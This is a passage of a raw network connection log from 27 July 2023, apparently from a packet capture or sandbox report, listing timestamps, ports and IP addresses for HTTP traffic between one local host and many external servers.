Jul 27, 2023 21:52:26.258951902 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.258951902 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.259044886 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.259763956 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.259789944 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.259809971 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.259830952 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.259850979 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.259857893 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.259857893 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.259902954 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.259902954 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.260677099 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.260699034 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.260718107 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.260734081 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.260768890 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.260768890 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.260795116 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.260855913 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.261646986 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.261672020 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.261699915 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.261723042 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.261737108 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.261739016 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.261739016 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.261894941 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.261894941 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.262603045 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.262625933 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.262658119 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.262661934 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.262681007 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.262703896 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.262706995 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.262739897 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.262739897 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.262846947 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.263581038 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.263670921 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.317615032 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.317960978 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.365653992 CEST	80	49752	208.109.214.162	192.168.2.4
Jul 27, 2023 21:52:26.365735054 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.365763903 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.365793943 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.365820885 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.365848064 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.365925074 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.365925074 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.366198063 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.366226912 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.366252899 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.366278887 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.366291046 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.366291046 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.366314888 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.366338015 CEST	80	49752	208.109.214.162	192.168.2.4
Jul 27, 2023 21:52:26.366367102 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.366367102 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.366367102 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.366405010 CEST	49752	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:52:26.366951942 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.366981030 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.367002964 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.367024899 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.367058992 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.367059946 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.367333889 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.367362976 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.367388010 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.367414951 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.367433071 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.367443085 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.367486000 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.367486000 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.368119001 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.368283987 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.368314981 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.368341923 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.368369102 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.368398905 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.368489027 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.368917942 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.368947029 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.368973017 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.368989944 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.369002104 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.369029999 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.369045019 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.369045019 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.369128942 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.369823933 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.369854927 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.369880915 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.369891882 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.369910002 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.369936943 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.369936943 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.370037079 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.519927025 CEST	49752	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:52:26.522874117 CEST	49755	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:52:26.577631950 CEST	49756	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:52:26.605041981 CEST	49757	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:26.619832039 CEST	80	49705	62.122.190.121	192.168.2.4
Jul 27, 2023 21:52:26.620363951 CEST	49705	80	192.168.2.4	62.122.190.121
Jul 27, 2023 21:52:26.654268026 CEST	49758	80	192.168.2.4	104.26.3.124
Jul 27, 2023 21:52:26.668670893 CEST	49759	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:52:26.670640945 CEST	80	49758	104.26.3.124	192.168.2.4
Jul 27, 2023 21:52:26.670823097 CEST	49758	80	192.168.2.4	104.26.3.124
Jul 27, 2023 21:52:26.671331882 CEST	49758	80	192.168.2.4	104.26.3.124
Jul 27, 2023 21:52:26.683499098 CEST	80	49752	208.109.214.162	192.168.2.4
Jul 27, 2023 21:52:26.683676004 CEST	49752	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:52:26.687536001 CEST	80	49758	104.26.3.124	192.168.2.4
Jul 27, 2023 21:52:26.744200945 CEST	80	49756	103.224.182.241	192.168.2.4
Jul 27, 2023 21:52:26.744357109 CEST	49756	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:52:26.766880035 CEST	49756	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:52:26.769463062 CEST	80	49757	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:26.769602060 CEST	49757	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:26.780394077 CEST	49757	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:26.883995056 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.885222912 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.926990032 CEST	80	49759	72.251.233.245	192.168.2.4
Jul 27, 2023 21:52:26.927807093 CEST	49759	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:52:26.928102970 CEST	49759	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:52:26.944745064 CEST	80	49757	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:26.945547104 CEST	80	49757	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:26.946213961 CEST	80	49757	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:26.946260929 CEST	49757	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:26.946322918 CEST	49757	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:26.965590000 CEST	49757	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:26.966176987 CEST	49760	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:26.974283934 CEST	80	49756	103.224.182.241	192.168.2.4
Jul 27, 2023 21:52:26.975389004 CEST	80	49756	103.224.182.241	192.168.2.4
Jul 27, 2023 21:52:26.975434065 CEST	80	49756	103.224.182.241	192.168.2.4
Jul 27, 2023 21:52:26.975492001 CEST	49756	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:52:26.975492001 CEST	49756	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:52:26.975939989 CEST	49756	80	192.168.2.4	103.224.182.241
Jul 27, 2023 21:52:27.017997026 CEST	80	49758	104.26.3.124	192.168.2.4
Jul 27, 2023 21:52:27.018049002 CEST	80	49758	104.26.3.124	192.168.2.4
Jul 27, 2023 21:52:27.018098116 CEST	49758	80	192.168.2.4	104.26.3.124
Jul 27, 2023 21:52:27.018141031 CEST	49758	80	192.168.2.4	104.26.3.124
Jul 27, 2023 21:52:27.036525011 CEST	49758	80	192.168.2.4	104.26.3.124
Jul 27, 2023 21:52:27.052902937 CEST	80	49758	104.26.3.124	192.168.2.4
Jul 27, 2023 21:52:27.130012035 CEST	80	49757	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:27.130876064 CEST	80	49760	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:27.131097078 CEST	49760	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:27.131495953 CEST	49760	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:27.142262936 CEST	80	49756	103.224.182.241	192.168.2.4
Jul 27, 2023 21:52:27.186188936 CEST	80	49759	72.251.233.245	192.168.2.4
Jul 27, 2023 21:52:27.186311960 CEST	80	49759	72.251.233.245	192.168.2.4
Jul 27, 2023 21:52:27.186336994 CEST	80	49759	72.251.233.245	192.168.2.4
Jul 27, 2023 21:52:27.186413050 CEST	49759	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:52:27.186486006 CEST	49759	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:52:27.187045097 CEST	49759	80	192.168.2.4	72.251.233.245
Jul 27, 2023 21:52:27.213799000 CEST	80	49758	104.26.3.124	192.168.2.4
Jul 27, 2023 21:52:27.213826895 CEST	80	49758	104.26.3.124	192.168.2.4
Jul 27, 2023 21:52:27.213937998 CEST	49758	80	192.168.2.4	104.26.3.124
Jul 27, 2023 21:52:27.296195030 CEST	80	49760	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:27.297054052 CEST	80	49760	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:27.297156096 CEST	49760	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:27.297647953 CEST	80	49760	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:27.297794104 CEST	49760	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:27.328491926 CEST	49760	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:52:27.445023060 CEST	80	49759	72.251.233.245	192.168.2.4
Jul 27, 2023 21:52:27.493117094 CEST	80	49760	69.163.218.51	192.168.2.4
Jul 27, 2023 21:52:27.493952990 CEST	49739	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:52:27.843169928 CEST	80	49723	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:27.844569921 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:27.846193075 CEST	49761	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:52:27.868195057 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:27.868315935 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:27.954144001 CEST	80	49761	147.154.0.23	192.168.2.4
Jul 27, 2023 21:52:27.957865000 CEST	49761	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:52:27.958203077 CEST	49761	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:52:28.054936886 CEST	49762	80	192.168.2.4	210.140.73.39
Jul 27, 2023 21:52:28.065916061 CEST	80	49761	147.154.0.23	192.168.2.4
Jul 27, 2023 21:52:28.081206083 CEST	80	49761	147.154.0.23	192.168.2.4
Jul 27, 2023 21:52:28.082920074 CEST	80	49761	147.154.0.23	192.168.2.4
Jul 27, 2023 21:52:28.083025932 CEST	49761	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:52:28.249993086 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:28.379868031 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:28.381553888 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:28.381784916 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:28.412949085 CEST	80	49726	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:28.413379908 CEST	49726	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:28.415159941 CEST	80	49728	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:28.415333986 CEST	49728	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:28.511507034 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:28.514838934 CEST	80	49722	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:28.515044928 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:28.962852001 CEST	49751	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:52:29.089144945 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089274883 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089338064 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089396000 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089426041 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.089482069 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.089487076 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089554071 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089602947 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.089621067 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089658022 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.089687109 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089754105 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089759111 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.089827061 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.089834929 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.089889050 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.089931965 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.119070053 CEST	49690	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:52:29.219496012 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.219542027 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.219878912 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.224086046 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.224147081 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.224350929 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.224433899 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.233386993 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.233484030 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.233645916 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.233855963 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.242487907 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.242566109 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.242743015 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.245414019 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.251717091 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.251769066 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.251945019 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.260788918 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.260868073 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.261173964 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.261262894 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.269957066 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.270008087 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.270318031 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.270363092 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.279078007 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.279129982 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.279287100 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.279449940 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.288521051 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.288578987 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.288769007 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.291476965 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.297560930 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.297647953 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.297822952 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.297873974 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.349509001 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.349546909 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.349790096 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.353739977 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.353799105 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.354020119 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.354090929 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.362011909 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.362112045 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.362418890 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.362482071 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.370346069 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.370415926 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.370726109 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.370809078 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.378489971 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.378551006 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.378767967 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.378910065 CEST	80	49737	217.19.237.54	192.168.2.4
Jul 27, 2023 21:52:29.378976107 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.379000902 CEST	49737	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:29.386826992 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.386852026 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.387033939 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.394684076 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.394711018 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.394886971 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.402436018 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.402471066 CEST	80	49763	74.208.236.101	192.168.2.4
Jul 27, 2023 21:52:29.402687073 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.402734041 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:29.509807110 CEST	49755	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:52:29.611731052 CEST	80	49738	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:29.611825943 CEST	49738	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:29.699661970 CEST	49764	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:52:29.787448883 CEST	80	49764	93.187.206.66	192.168.2.4
Jul 27, 2023 21:52:29.787738085 CEST	49764	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:52:29.788372040 CEST	49764	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:52:29.876126051 CEST	80	49764	93.187.206.66	192.168.2.4
Jul 27, 2023 21:52:29.876213074 CEST	80	49764	93.187.206.66	192.168.2.4
Jul 27, 2023 21:52:29.876336098 CEST	49764	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:52:30.365597010 CEST	49765	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:52:30.565758944 CEST	80	49746	188.166.152.188	192.168.2.4
Jul 27, 2023 21:52:30.565866947 CEST	49746	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:52:31.041098118 CEST	49762	80	192.168.2.4	210.140.73.39
Jul 27, 2023 21:52:31.250279903 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:31.250402927 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:31.684451103 CEST	80	49752	208.109.214.162	192.168.2.4
Jul 27, 2023 21:52:31.685782909 CEST	49752	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:52:31.836915970 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:31.837048054 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:31.853681087 CEST	49725	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:52:33.431288004 CEST	80	49721	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:33.431448936 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:33.447606087 CEST	49765	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:52:33.494481087 CEST	49739	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:52:35.135747910 CEST	49751	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:52:35.336992979 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:35.337110043 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:35.635292053 CEST	49755	80	192.168.2.4	198.100.146.220
Jul 27, 2023 21:52:36.012458086 CEST	80	49704	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:36.012630939 CEST	49704	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:37.135423899 CEST	49762	80	192.168.2.4	210.140.73.39
Jul 27, 2023 21:52:38.369369030 CEST	80	49717	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:38.369488001 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:39.448129892 CEST	49765	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:52:40.796411037 CEST	80	49764	93.187.206.66	192.168.2.4
Jul 27, 2023 21:52:40.796514034 CEST	49764	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:52:42.278100967 CEST	49769	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:52:42.290966988 CEST	80	49769	18.165.183.19	192.168.2.4
Jul 27, 2023 21:52:42.291157961 CEST	49769	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:52:42.291541100 CEST	49769	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:52:42.302654982 CEST	80	49769	18.165.183.19	192.168.2.4
Jul 27, 2023 21:52:42.302690983 CEST	80	49769	18.165.183.19	192.168.2.4
Jul 27, 2023 21:52:42.302761078 CEST	49769	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:52:42.449671030 CEST	49769	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:52:42.461380005 CEST	80	49769	18.165.183.19	192.168.2.4
Jul 27, 2023 21:52:42.461483955 CEST	49769	80	192.168.2.4	18.165.183.19
Jul 27, 2023 21:52:43.593394041 CEST	49770	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:52:43.870879889 CEST	80	49770	211.1.226.67	192.168.2.4
Jul 27, 2023 21:52:43.871025085 CEST	49770	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:52:43.917751074 CEST	49770	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:52:44.098819017 CEST	80	49763	74.208.236.101	192.168.2.4
